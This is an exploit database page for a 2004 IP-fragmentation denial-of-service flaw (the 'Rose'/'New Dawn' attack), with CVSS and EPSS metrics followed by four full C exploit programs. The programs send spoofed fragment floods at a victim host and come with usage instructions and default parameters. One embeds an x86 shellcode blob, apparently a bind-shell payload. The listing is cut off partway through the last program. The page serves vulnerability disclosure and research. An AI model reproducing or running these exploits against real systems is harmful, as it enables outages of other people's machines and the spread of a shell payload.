Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
7.8 |
|
AV:N/AC:L/Au:N/C:N/I:N/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 24634
Publication date : 2004-09-26 22h00 +00:00
Author : Coolio
EDB Verified : Yes
// source: https://www.securityfocus.com/bid/11258/info
Multiple vendor implementations of the TCP stack are reported prone to a remote denial-of-service vulnerability.
The issue is reported to present itself due to inefficiencies present when handling fragmented TCP packets.
The discoverer of this issue has dubbed the attack style the "New Dawn attack"; it is a variation of a previously reported attack that was named the "Rose Attack".
A remote attacker may exploit this vulnerability to deny service to an affected computer.
Microsoft Windows 2000/XP, Linux kernel 2.4 tree, and undisclosed Cisco systems are reported prone to this vulnerability; other products may also be affected.
/***
ROSE attack (variation 2) (chuck (at) lemure.net)
Discovered by:
gandalf (at) digital.net
code modified from large IGMP attack by:
Kox by Coolio (coolio (at) k-r4d.com)
Sends out small IP fragments totalling up to a large
ICMP packet. Then repeatedly sends last IP Fragment forcing
reassembly code to traverse to last IP fragment in order to
do a free() followed by a malloc(). Or so it seems.
Reportedly works for TCP / UDP as well, since this is
a IP layer attack.
***/
/* just a thousand kills win XP */
#define NUM_PACKETS 100
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <string.h>
#include <errno.h>
#include <pwd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/utsname.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip_icmp.h>
void usage(char *arg)
{
printf("Rose attack\n");
printf("Usage: %s <victim> [source]\n", arg);
printf("If source not specified, will send out from random ip's\n");
exit(1);
}
unsigned int randip()
{
struct hostent *he;
struct sockaddr_in sin;
char *buf = (char *)calloc(1, sizeof(char) * 16);
sprintf(buf, "%d.%d.%d.%d",
(random()%191)+23,
(random()%253)+1,
(random()%253)+1,
(random()%253)+1);
return inet_addr(buf);
}
unsigned short in_cksum(unsigned short *buh, int len)
{
register long sum = 0;
unsigned short oddbyte;
register unsigned short answer;
while(len > 1) {
sum += *buh++;
len -= 2;
}
if(len == 1) {
oddbyte = 0;
*((unsigned char *)&oddbyte) = *(unsigned char *)buh;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);
answer = ~sum;
return answer;
}
int fire_away(struct sockaddr_in *victim, unsigned long src)
{
int SMALLICMP = 1;
unsigned char *pkt;
struct iphdr *ip;
struct igmphdr *igmp;
struct icmphdr *icmp_pkt;
struct utsname *un;
struct passwd *p;
int idList[NUM_PACKETS];
unsigned long j;
int i, s;
int id = (random() % 40000) + 500;
for (i=0;i<NUM_PACKETS;i++)
idList[i]=(random() % 40000) + 500;
pkt = (unsigned char *)calloc(1, SMALLICMP
+ sizeof(struct iphdr) +
sizeof(struct icmphdr));
ip = (struct iphdr *)pkt;
icmp_pkt = (struct icmphdr *)(pkt + sizeof(struct iphdr));
ip->version = 4;
ip->ihl = (sizeof *ip) / 4;
ip->ttl = 255;
ip->tot_len = htons(SMALLICMP);
ip->protocol = 1;
ip->id = htons(id);
ip->frag_off = htons(IP_MF);
ip->saddr = src;
ip->daddr = victim->sin_addr.s_addr;
ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
icmp_pkt->type = ICMP_ECHO;
icmp_pkt->code = 0;
icmp_pkt->checksum = 1000;
icmp_pkt->un.echo.id = random() % 255;
icmp_pkt->un.echo.sequence = random() % 255;
for(i = sizeof(struct iphdr) + sizeof(struct icmphdr) + 1;
i < SMALLICMP; i++){
pkt[i] = random() % 255;
}
if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("error: socket()");
return 1;
}
printf(" Sending out series of small fragments\r\n");
for(i=0;i<NUM_PACKETS;i++){
ip->id = htons(idList[i]);
for (j=0; j<8170; j += SMALLICMP + 1){
ip->frag_off = htons(j | IP_MF);
if(sendto(s, pkt,
SMALLICMP + sizeof(struct iphdr),
0, (struct sockaddr *)victim,
sizeof(struct sockaddr_in)) == -1) {
perror("error: sendto()");
return 1;
}
}
}
printf(" Sending out tailing fragments\r\n");
/* big frag at end... */
/* sending a large amount of the end fragments over and
over. This is definitely overkill, but seems to work */
for (j=0;j<9999*NUM_PACKETS;j++){
for(i=0;i<NUM_PACKETS;i++){
ip->id=htons(idList[i]);
ip->frag_off = htons(8190|IP_MF);
//ip->frag_off = htons(8100 | IP_MF);
sendto(s, pkt, sizeof(struct iphdr) + SMALLICMP,
0, (struct sockaddr *)victim,
sizeof(struct sockaddr_in));
/* if you do sleep, CPU usage goes way down. But memory usage
still creeps upward */
//usleep(100); //sleep after every trailing packet
}
usleep(100); //sleep after every series of NUM_PACKETS
}
free(pkt);
close(s);
return 0;
}
int main(int argc, char *argv[])
{
struct sockaddr_in victim;
struct hostent *he;
unsigned long source;
int i;
srandom(time(NULL));
if(argc < 2)
usage(argv[0]);
if((he = gethostbyname(argv[1])) == NULL) {
herror(argv[1]);
exit(1);
}
if (argc > 2){
source = inet_addr(argv[2]);
}
else {
source = randip();
}
memcpy(&victim.sin_addr.s_addr, he->h_addr, he->h_length);
victim.sin_port = htons(0);
victim.sin_family = PF_INET;
printf("Sending ICMP fragments: \r\n");
fflush(stdout);
fire_away(&victim, source);
if (argc < 3){
source = randip();
}
fflush(stdout);
printf("\nDONE\n");
fflush(stdout);
}
Exploit Database EDB-ID : 24635
Publication date : 2004-09-26 22h00 +00:00
Author : Coolio
EDB Verified : Yes
// source: https://www.securityfocus.com/bid/11258/info
Multiple vendor implementations of the TCP stack are reported prone to a remote denial-of-service vulnerability.
The issue is reported to present itself due to inefficiencies present when handling fragmented TCP packets.
The discoverer of this issue has dubbed the attack style the "New Dawn attack"; it is a variation of a previously reported attack that was named the "Rose Attack".
A remote attacker may exploit this vulnerability to deny service to an affected computer.
Microsoft Windows 2000/XP, Linux kernel 2.4 tree, and undisclosed Cisco systems are reported prone to this vulnerability; other products may also be affected.
/***
ROSE attack (chuck (at) lemure.net)
Discovered by:
[email protected]
code modified from large IGMP attack by:
Kox by Coolio (
[email protected])
Sends out first and last ICMP packet echo request.
Reportedly works for TCP / UDP as well, since this is
a IP layer attack.
Eats up all available packets for fragmentation reassembly.
***/
/* just a thousand kills win XP */
#define NUM_PACKETS 1000
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <string.h>
#include <errno.h>
#include <pwd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/utsname.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip_icmp.h>
/* Figured I try sending some shell code for my random payload...
doesn't do anything
*/
char code[] =
"\xe8\x38\x00\x00\x00\x43\x4d\x44\x00\xe7\x79\xc6\x79\xe5\x49\x86"
"\x49\xa4\xad\x2e\xe9\xa4\x1a\x70\xc7\xd9\x09\xf5\xad\xcb\xed\xfc"
"\x3b\x8e\x4e\x0e\xec\x7e\xd8\xe2\x73\xad\xd9\x05\xce\x72\xfe\xb3"
"\x16\x57\x53\x32\x5f\x33\x32\x2e\x44\x4c\x4c\x00\x01\x5b\x54\x89"
"\xe5\x89\x5d\x00\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"
"\xad\x8b\x58\x08\xeb\x0c\x8d\x57\x2c\x51\x52\xff\xd0\x89\xc3\x59"
"\xeb\x10\x6a\x08\x5e\x01\xee\x6a\x0a\x59\x8b\x7d\x00\x80\xf9\x06"
"\x74\xe4\x51\x53\xff\x34\x8f\xe8\x90\x00\x00\x00\x59\x89\x04\x8e"
"\xe2\xeb\x31\xff\x66\x81\xec\x90\x01\x54\x68\x01\x01\x00\x00\xff"
"\x55\x20\x57\x57\x57\x57\x47\x57\x47\x57\xff\x55\x1c\x89\xc3\x31"
"\xff\x57\x57\x68\x02\x00\x22\x11\x89\xe6\x6a\x10\x56\x53\xff\x55"
"\x18\x57\x53\xff\x55\x14\x57\x56\x53\xff\x55\x10\x89\xc2\x66\x81"
"\xec\x54\x00\x8d\x3c\x24\x31\xc0\x6a\x15\x59\xf3\xab\x89\xd7\xc6"
"\x44\x24\x10\x44\xfe\x44\x24\x3d\x89\x7c\x24\x48\x89\x7c\x24\x4c"
"\x89\x7c\x24\x50\x8d\x44\x24\x10\x54\x50\x51\x51\x51\x41\x51\x49"
"\x51\x51\xff\x75\x00\x51\xff\x55\x30\x89\xe1\x68\xff\xff\xff\xff"
"\xff\x31\xff\x55\x2c\x57\xff\x55\x0c\xff\x55\x28\x53\x55\x56\x57"
"\x8b\x6c\x24\x18\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18"
"\x8b\x5a\x20\x01\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc"
"\x31\xc0\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c"
"\x24\x14\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c"
"\x01\xeb\x8b\x04\x8b\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d"
"\x5b\xc2\x08\x00";
void usage(char *arg)
{
printf("Rose attack\n");
printf("Usage: %s <victim> [source]\n", arg);
printf("If source not specified, will send out from random ip's\n");
exit(1);
}
unsigned int randip()
{
struct hostent *he;
struct sockaddr_in sin;
char *buf = (char *)calloc(1, sizeof(char) * 16);
sprintf(buf, "%d.%d.%d.%d",
(random()%191)+23,
(random()%253)+1,
(random()%253)+1,
(random()%253)+1);
return inet_addr(buf);
}
unsigned short in_cksum(unsigned short *buh, int len)
{
register long sum = 0;
unsigned short oddbyte;
register unsigned short answer;
while(len > 1) {
sum += *buh++;
len -= 2;
}
if(len == 1) {
oddbyte = 0;
*((unsigned char *)&oddbyte) = *(unsigned char *)buh;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);
answer = ~sum;
return answer;
}
int rose(struct sockaddr_in *victim, unsigned long src)
{
int SMALLICMP = 1000;
unsigned char *pkt;
struct iphdr *ip;
struct igmphdr *igmp;
struct icmphdr *icmp_pkt;
struct utsname *un;
struct passwd *p;
int i, s,j;
int id = (random() % 40000) + 500;
pkt = (unsigned char *)calloc(1, SMALLICMP);
ip = (struct iphdr *)pkt;
icmp_pkt = (struct icmphdr *)(pkt + sizeof(struct iphdr));
ip->version = 4;
ip->ihl = (sizeof *ip) / 4;
ip->ttl = 255;
ip->tot_len = htons(SMALLICMP);
ip->protocol = 1;
ip->id = htons(id);
ip->frag_off = htons(IP_MF);
ip->saddr = src;
ip->daddr = victim->sin_addr.s_addr;
ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
icmp_pkt->type = ICMP_ECHO;
icmp_pkt->code = 0;
icmp_pkt->checksum = 1000;
icmp_pkt->un.echo.id = random() % 255;
icmp_pkt->un.echo.sequence = random() % 255;
for(i = sizeof(struct iphdr) + sizeof(struct icmphdr) + 1;
i < SMALLICMP; i++){
//pkt[i] = random() % 255;
pkt[i] = '\x00';
}
j=0;
for (i=sizeof(struct iphdr) + sizeof(struct icmphdr) + 500;
i < sizeof(struct iphdr) + sizeof(struct icmphdr) + 500 + 356;
i++){
pkt[i] = code[j];
j++;
}
if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("error: socket()");
return 1;
}
if(sendto(s, pkt, SMALLICMP, 0, (struct sockaddr *)victim,
sizeof(struct sockaddr_in)) == -1) {
perror("error: sendto()");
return 1;
}
/* big frag at end... */
ip->frag_off = htons(8100);
//ip->frag_off = htons(8100 | IP_MF);
sendto(s, pkt, SMALLICMP, 0, (struct sockaddr *)victim,
sizeof(struct sockaddr_in));
free(pkt);
close(s);
usleep(1000);
return 0;
}
int main(int argc, char *argv[])
{
struct sockaddr_in victim;
struct hostent *he;
unsigned long source;
int i;
srandom(time(NULL));
if(argc < 2)
usage(argv[0]);
if((he = gethostbyname(argv[1])) == NULL) {
herror(argv[1]);
exit(1);
}
if (argc > 2){
source = inet_addr(argv[2]);
}
else {
source = randip();
}
memcpy(&victim.sin_addr.s_addr, he->h_addr, he->h_length);
victim.sin_port = htons(0);
victim.sin_family = PF_INET;
printf("Sending ICMP fragments: ");
fflush(stdout);
for(i = 0; i < NUM_PACKETS; i++)
{
rose(&victim, source);
if (argc < 3){
source = randip();
}
printf("%d\n", i);
fflush(stdout);
}
printf("\nDONE\n");
fflush(stdout);
}
Exploit Database EDB-ID : 24636
Publication date : 2004-09-26 22h00 +00:00
Author : Ken Hollis
EDB Verified : Yes
// source: https://www.securityfocus.com/bid/11258/info
Multiple vendor implementations of the TCP stack are reported prone to a remote denial-of-service vulnerability.
The issue is reported to present itself due to inefficiencies present when handling fragmented TCP packets.
The discoverer of this issue has dubbed the attack style the "New Dawn attack"; it is a variation of a previously reported attack that was named the "Rose Attack".
A remote attacker may exploit this vulnerability to deny service to an affected computer.
Microsoft Windows 2000/XP, Linux kernel 2.4 tree, and undisclosed Cisco systems are reported prone to this vulnerability; other products may also be affected.
/*-------------------------------------------------------------*/
/*
Implementation of Rose Attack described by Gandalf gandalf at digital.net
Reference: Bugtraq, 30 mars 2004, "IPv4 fragmentation, The Rose Attack"
NewDawn3.c written by Ken Hollis based on the code rose.c
written by Laurent Constantin and rose2.c written by chuck
modified from large IGMP attack by Kox by Coolio (coolio (at) k-r4d.com)
Program allows choice of TCP or UDP, number of packets to fragment, number
of fragments per packet and number of times the last fragment is
rewritten.
Based on a conversation where it was mentioned that a highly fragmented
packet would cause high CPU utilization if the last fragment was written
over and over again. As chuck says, death by a thousand cuts.
NewDawn3 send 32 byte fragments. See:
http://digital.net/~gandalf/Rose_Frag_Attack_Explained.htm
Usage : ./NewDawn3 type(1or2) ipaddress [port] [NumP] [Numt] [NumR] [NumF] [NumD]
Example: ./NewDawn3 1 1.2.3.4 80 5 9999 99999999 4080 2
type : 1=tcp, 2=udp
ipaddress : address to test
port : optional port number (0 means random)
NumP : Number of packets to fragment (less than 1000)
NumT : Number of times last fragment is rewritten
NumR : Number of times to run test
NumF : Number of fragments per packet
NumD : Delta between fragements. 8 = 32 bytes blank
64 bytes total between fragments (32 bytes
payload + 32 bytes blank = 64 bytes),
5 = 8 bytes blank (32 bytes payload + 8 bytes
blank = 40 bytes total = 5 * 8).
< 5 = overlapping fragments
Library netwib must be installed:
http://www.laurentconstantin.com/en/netw/netwib/
http://go.to/laurentconstantin
To compile and run :
gcc -Wall -o NewDawn3 NewDawn3.c `netwib-config -lc`
./NewDawn3 1 www.example.com 80
The command:
./NewDawn3 1 10.12.14.16
Is equivalent to:
./NewDawn3 1 10.12.14.16 0 5 9999 99999999 1021 8
Where:
./NewDawn3 = Program Name
1 = TCP
10.12.14.16 = IP Address
0 = Random port numbers
5 = Five packets to fragment before staring next set of packets
9999 = The number of times to rewrite the last fragment of
the five packets
99999999 = The number of times to run this entire attack
1021 = The number of middle fragments to write.
8 = 64 bytes between 32 byte fragments (8 bytes * 8 = 64)
This was successfully tested with netwib 5.12.0, under Linux
to test a Windows 2000 host. Local network is Ethernet.
*/
/*-------------------------------------------------------------*/
// Test large number of packets
#define NUM_PACKETS 1000
#define NUM_LAST 9999
#define NUM_RUN 99999999
#define NUM_FRAG 8170
#define NUM_DELTA 8
#include <stdlib.h>
#include <stdio.h>
#include <netwib.h>
/*-------------------------------------------------------------*/
typedef enum {
ROSE_TYPE_TCP = 1,
ROSE_TYPE_UDP = 2
} rose_type;
/*-------------------------------------------------------------*/
typedef struct {
rose_type type;
netwib_ip ipad;
netwib_port port;
netwib_bool display;
netwib_buf buf;
netwib_io *pio;
} rose_params;
/*-------------------------------------------------------------*/
static netwib_err rose_loop(rose_params *prp, int npack, int nrew,
int nrun, int nfrag, int ndelta)
{
netwib_iphdr ipheader, ipstore[NUM_PACKETS];
netwib_tcphdr tcpheader, tcpstore[NUM_PACKETS];
netwib_udphdr udpheader, udpstore[NUM_PACKETS];
netwib_buf payload;
netwib_uint32 numsent = 0;
int i, j, nrun2;
printf("Packets %d Rewrite %d Runs %d Fragment packet to byte %d Delta %d\n\r",
npack, nrew, nrun, nfrag, ndelta);
for (nrun2=0; nrun2<nrun; nrun2++) {
for (i=0; i<npack; i++){
netwib_er(netwib_iphdr_initdefault(NETWIB_IPTYPE_IP4, &ipstore[i]));
netwib_er(netwib_uint32_init_rand_all(&ipstore[i].src.ipvalue.ip4));
switch(prp->type) {
case ROSE_TYPE_TCP :
netwib_er(netwib_tcphdr_initdefault(&tcpstore[i]));
netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &tcpstore[i].src));
if (prp->port == 0) {
netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &tcpstore[i].dst));
} else {
tcpstore[i].dst = prp->port;
}
break;
case ROSE_TYPE_UDP :
netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &udpstore[i].src));
if (prp->port == 0) {
netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &udpstore[i].dst));
} else {
udpstore[i].dst = prp->port;
}
break;
}
}
for (i=0; i<npack; i++){
/* construct first fragment */
netwib__buf_reinit(&prp->buf);
ipheader = ipstore[i];
ipheader.header.ip4.morefrag = NETWIB_TRUE;
ipheader.header.ip4.offsetfrag = 0; /* not necessary, but to be clear */
ipheader.src.iptype = NETWIB_IPTYPE_IP4;
ipheader.src.ipvalue.ip4 = ipstore[i].src.ipvalue.ip4;
ipheader.dst = prp->ipad;
switch(prp->type) {
case ROSE_TYPE_TCP :
tcpheader = tcpstore[i];
tcpheader.src = tcpstore[i].src;
tcpheader.dst = tcpstore[i].dst;
tcpheader.ack = NETWIB_TRUE;
netwib_er(netwib_buf_init_ext_text("1234567890123456789012345678",
&payload));
netwib_er(netwib_pkt_append_iptcpdata(&ipheader, &tcpheader, &payload,
&prp->buf));
break;
case ROSE_TYPE_UDP :
netwib_er(netwib_udphdr_initdefault(&udpheader));
udpheader.src = udpstore[i].src;
udpheader.dst = udpstore[i].dst;
netwib_er(netwib_buf_init_ext_text("12345678901234567890123456789012",
&payload));
netwib_er(netwib_pkt_append_ipudpdata(&ipheader, &udpheader, &payload,
&prp->buf));
break;
}
if (prp->display) {
netwib_er(netwib_pkt_ip_display(&prp->buf, NULL, NETWIB_ENCODETYPE_ARRAY,
NETWIB_ENCODETYPE_DUMP));
}
netwib_er(netwib_io_write(prp->pio, &prp->buf));
/* construct middle fragments */
netwib__buf_reinit(&prp->buf);
ipheader.header.ip4.offsetfrag = 0x0008;
for(ipheader.header.ip4.offsetfrag = 0x0008 ;
ipheader.header.ip4.offsetfrag< nfrag;
ipheader.header.ip4.offsetfrag = ipheader.header.ip4.offsetfrag +
ndelta){
netwib__buf_reinit(&prp->buf);
switch(prp->type) {
case ROSE_TYPE_TCP :
ipheader.protocol = NETWIB_IPPROTO_TCP;
break;
case ROSE_TYPE_UDP :
ipheader.protocol = NETWIB_IPPROTO_UDP;
break;
}
netwib_er(netwib_buf_init_ext_text("12345678901234567890123456789012",
&payload));
netwib_er(netwib_pkt_append_ipdata(&ipheader, &payload, &prp->buf));
if (prp->display) {
netwib_er(netwib_pkt_ip_display(&prp->buf, NULL, NETWIB_ENCODETYPE_ARRAY,
NETWIB_ENCODETYPE_DUMP));
}
netwib_er(netwib_io_write(prp->pio, &prp->buf));
}
}
printf("Rewriting %d packets last fragment %d times\r\n",
npack,nrew); fflush(stdout);
/* construct last fragment and rewrite NUM_LAST times */
for (j=0;j<nrew;j++){
netwib__buf_reinit(&prp->buf);
for (i=0; i<npack; i++){
ipheader = ipstore[i];
ipheader.src.iptype = NETWIB_IPTYPE_IP4;
ipheader.src.ipvalue.ip4 = ipstore[i].src.ipvalue.ip4;
ipheader.dst = prp->ipad;
switch(prp->type) {
case ROSE_TYPE_TCP :
tcpheader = tcpstore[i];
tcpheader.src = tcpstore[i].src;
tcpheader.dst = tcpstore[i].dst;
tcpheader.ack = NETWIB_TRUE;
ipheader.protocol = NETWIB_IPPROTO_TCP;
break;
case ROSE_TYPE_UDP :
udpheader.src = udpstore[i].src;
udpheader.dst = udpstore[i].dst;
ipheader.protocol = NETWIB_IPPROTO_UDP;
break;
}
netwib__buf_reinit(&prp->buf);
ipheader.header.ip4.morefrag = NETWIB_FALSE;
ipheader.header.ip4.offsetfrag = 0x1FF0;
netwib_er(netwib_buf_init_ext_text("12345678901234567890123456789012",
&payload));
netwib_er(netwib_pkt_append_ipdata(&ipheader, &payload, &prp->buf));
if (prp->display) {
netwib_er(netwib_pkt_ip_display(&prp->buf, NULL, NETWIB_ENCODETYPE_ARRAY,
NETWIB_ENCODETYPE_DUMP));
}
netwib_er(netwib_io_write(prp->pio, &prp->buf));
}
}
/* dot display */
if (!prp->display && (numsent%100)==0) {
printf("."); fflush(stdout);
}
numsent++;
}
return(NETWIB_ERR_OK);
}
/*-------------------------------------------------------------*/
int main(int argc, char* argv[])
{
rose_params rp;
netwib_buf ipstr;
netwib_err ret;
int npack, nrew, nrun, nfrag, ndelta;
/* initialize netwib */
netwib_init();
/* check parameter count */
if (argc < 3 || argc > 9) {
printf("Usage : %s type(1or2) ipaddress [port] [NumP] [Numt] [NumR] [NumF] [NumD]\n", argv[0]);
printf("Example: %s 1 1.2.3.4 80 5 9999 99999999 1021 8\n", argv[0]);
printf(" type : %d=tcp, %d=udp\n", ROSE_TYPE_TCP, ROSE_TYPE_UDP);
printf(" ipaddress : address to test\n");
printf(" port : optional port number (0 means random)\n");
printf(" NumP : Number of packets to fragment\n");
printf(" NumT : Number of times last fragment is rewritten\n");
printf(" NumR : Number of times to run test\n");
printf(" NumF : Number of fragments per packet\n");
printf(" NumD : Delta between fragements.\n");
return(1);
}
/* first parameter is type */
rp.type = atoi(argv[1]);
switch(rp.type) {
case ROSE_TYPE_TCP :
case ROSE_TYPE_UDP :
break;
default :
printf("First parameter must be 1 or 2 (currently=%s)\n", argv[1]);
return(2);
}
/* second parameter is IP address */
netwib_er(netwib_buf_init_ext_text(argv[2], &ipstr));
ret = netwib_ip_init_buf(&ipstr, NETWIB_IP_DECODETYPE_BEST, &rp.ipad);
if (ret != NETWIB_ERR_OK) {
printf("Second parameter must be an IP or hostname (currently=%s)\n",
argv[2]);
return(3);
}
/* third parameter is port number */
rp.port = 0;
if (argc > 3) {
rp.port = atoi(argv[3]); /* on error, set to 0, but that's ok */
}
/* fourth parameter is number of packets to fragment */
npack = 5;
if (argc > 4) {
npack = atoi(argv[4]); /* on error, set to 1 */
}
if (npack < 1) { npack = 1; }
if (npack > 1000) { npack = 1000; }
/* fifth parameter is number of times packet is rewritten */
nrew = NUM_LAST;
if (argc > 5) {
nrew = atoi(argv[5]); /* on error, set to 0, but that's ok */
}
/* sixth parameter is number of times to run the test */
nrun = NUM_RUN;
if (argc > 6) {
nrun = atoi(argv[6]); /* on error, set to 0, but that's ok */
}
/* seventh parameter is number of fragments per packet */
nfrag = NUM_FRAG;
if (argc > 7) {
nfrag = atoi(argv[7]);
}
if (nfrag < 1) { nfrag = 1; }
/* eighth parameter is delta between fragments */
ndelta = NUM_DELTA;
if (argc > 8) {
ndelta = atoi(argv[8]);
}
/* Make sure that the fragments do not exceed 8170 */
nfrag = (nfrag * ndelta) + 8;
if (nfrag > 8170) { nfrag = 8170; }
printf("%s %d %s %d %d %d %d %d ndelta = %d\n\r",
argv[0], rp.type, argv[2], rp.port, npack, nrew, nrun,
nfrag / 8, ndelta);
/* set to NETWIB_TRUE to activate display */
rp.display = NETWIB_FALSE;
/* instead of allocating memory each time, just use this permanent buffer */
netwib_er(netwib_buf_init_mallocdefault(&rp.buf));
/* initialize spoofing feature */
netwib_er(netwib_io_init_spoof_ip(NETWIB_SPOOF_IP_INITTYPE_LINKBRAW,
&rp.pio));
/* main function */
ret = rose_loop(&rp, npack, nrew, nrun, nfrag, ndelta);
if (ret != NETWIB_ERR_OK) {
netwib_er(netwib_err_display(ret, NETWIB_ERR_ENCODETYPE_FULL));
return(ret);
}
/* close netwib */
netwib_er(netwib_io_close(&rp.pio));
netwib_er(netwib_buf_close(&rp.buf));
netwib_close();
return(0);
}
Exploit Database EDB-ID : 24637
Publication date : 2004-09-26 22h00 +00:00
Author : Ken Hollis
EDB Verified : Yes
// source: https://www.securityfocus.com/bid/11258/info
Multiple vendor implementations of the TCP stack are reported prone to a remote denial-of-service vulnerability.
The issue is reported to present itself due to inefficiencies present when handling fragmented TCP packets.
The discoverer of this issue has dubbed the attack style the "New Dawn attack"; it is a variation of a previously reported attack that was named the "Rose Attack".
A remote attacker may exploit this vulnerability to deny service to an affected computer.
Microsoft Windows 2000/XP, Linux kernel 2.4 tree, and undisclosed Cisco systems are reported prone to this vulnerability; other products may also be affected.
/*-------------------------------------------------------------*/
/*
Implementation of Rose Attack described by Gandalf gandalf at digital.net
Reference: Bugtraq, 30 mars 2004, "IPv4 fragmentation, The Rose Attack"
NewDawn4.c written by Ken Hollis based on the code rose.c
written by Laurent Constantin and NewDawn.c and NewDawn2.c
written by chuck modified from large IGMP attack by Kox by
Coolio (coolio (at) k-r4d.com)
Program allows choice of TCP or UDP, number of packets to fragment, number
of fragments per packet and number of times the last fragment is
rewritten.
Based on a conversation where it was mentioned that a highly fragmented
packet would cause high CPU utilization if the last fragment was written
over and over again.
As chuck says, death by a thousand cuts.
NewDawn4 allows smaller fragments (8 bytes) to be sent to the host. See:
http://digital.net/~gandalf/Rose_Frag_Attack_Explained.htm
Usage : ./NewDawn4 type(1or2) ipaddress [port] [NumP] [Numt] [NumR] [NumF] [NumD]
Example: ./NewDawn4 1 1.2.3.4 80 5 9999 99999999 4080 2
type : 1=tcp, 2=udp
ipaddress : address to test
port : optional port number (0 means random)
NumP : Number of packets to fragment (less than 1000)
NumT : Number of times last fragment is rewritten
NumR : Number of times to run test
NumF : Number of fragments per packet
NumD : Delta between fragements. 2 = 8 bytes blank
16 bytes total between fragments (8 bytes
payload + 8 bytes blank = 16 bytes),
5 = 32 bytes blank (8 bytes payload + 32 bytes
blank = 40 bytes total = 5 * 8).
Library netwib must be installed:
http://www.laurentconstantin.com/en/netw/netwib/
http://go.to/laurentconstantin
To compile and run :
gcc -Wall -o NewDawn4 NewDawn4.c `netwib-config -lc`
./NewDawn4 1 www.example.com 80
The command:
./NewDawn4 1 10.12.14.16
Is equivalent to:
./NewDawn4 1 10.12.14.16 0 5 9999 99999999 1021 8
Where:
./NewDawn4 = Program Name
1 = TCP
10.12.14.16 = IP Address
0 = Random port numbers
5 = Five packets to fragment before staring next set of packets
9999 = The number of times to rewrite the last fragment of
the five packets
99999999 = The number of times to run this entire attack
1021 = The number of middle fragments to write.
8 = 64 bytes, 8 byte data + 56 bytes blank fragments (8 bytes * 8 = 64)
This was successfully tested with netwib 5.12.0, under Linux
to test a Windows 2000 host. Local network is Ethernet.
*/
/*-------------------------------------------------------------*/
// Test large number of packets
#define NUM_PACKETS 1000
#define NUM_LAST 9999
#define NUM_RUN 99999999
#define NUM_FRAG 8170
#define NUM_DELTA 8
#include <stdlib.h>
#include <stdio.h>
#include <netwib.h>
/*-------------------------------------------------------------*/
typedef enum {
ROSE_TYPE_TCP = 1,
ROSE_TYPE_UDP = 2
} rose_type;
/*-------------------------------------------------------------*/
typedef struct {
rose_type type;
netwib_ip ipad;
netwib_port port;
netwib_bool display;
netwib_buf buf;
netwib_io *pio;
} rose_params;
/*-------------------------------------------------------------*/
static netwib_err rose_loop(rose_params *prp, int npack, int nrew,
int nrun, int nfrag, int ndelta)
{
netwib_iphdr ipheader, ipstore[NUM_PACKETS];
netwib_tcphdr tcpheader, tcpstore[NUM_PACKETS];
netwib_udphdr udpheader, udpstore[NUM_PACKETS];
netwib_buf payload;
netwib_uint32 numsent = 0;
int i, j, nrun2;
printf("Packets %d Rewrite %d Runs %d Fragment packet to byte %d Delta %d\n\r",
npack, nrew, nrun, nfrag, ndelta);
for (nrun2=0; nrun2<nrun; nrun2++) {
for (i=0; i<npack; i++){
netwib_er(netwib_iphdr_initdefault(NETWIB_IPTYPE_IP4, &ipstore[i]));
netwib_er(netwib_uint32_init_rand_all(&ipstore[i].src.ipvalue.ip4));
switch(prp->type) {
case ROSE_TYPE_TCP :
netwib_er(netwib_tcphdr_initdefault(&tcpstore[i]));
netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &tcpstore[i].src));
if (prp->port == 0) {
netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &tcpstore[i].dst));
} else {
tcpstore[i].dst = prp->port;
}
break;
case ROSE_TYPE_UDP :
netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &udpstore[i].src));
if (prp->port == 0) {
netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &udpstore[i].dst));
} else {
udpstore[i].dst = prp->port;
}
break;
}
}
for (i=0; i<npack; i++){
/* construct first fragment */
netwib__buf_reinit(&prp->buf);
ipheader = ipstore[i];
ipheader.header.ip4.morefrag = NETWIB_TRUE;
ipheader.header.ip4.offsetfrag = 0; /* not necessary, but to be clear */
ipheader.src.iptype = NETWIB_IPTYPE_IP4;
ipheader.src.ipvalue.ip4 = ipstore[i].src.ipvalue.ip4;
ipheader.dst = prp->ipad;
switch(prp->type) {
case ROSE_TYPE_TCP :
tcpheader = tcpstore[i];
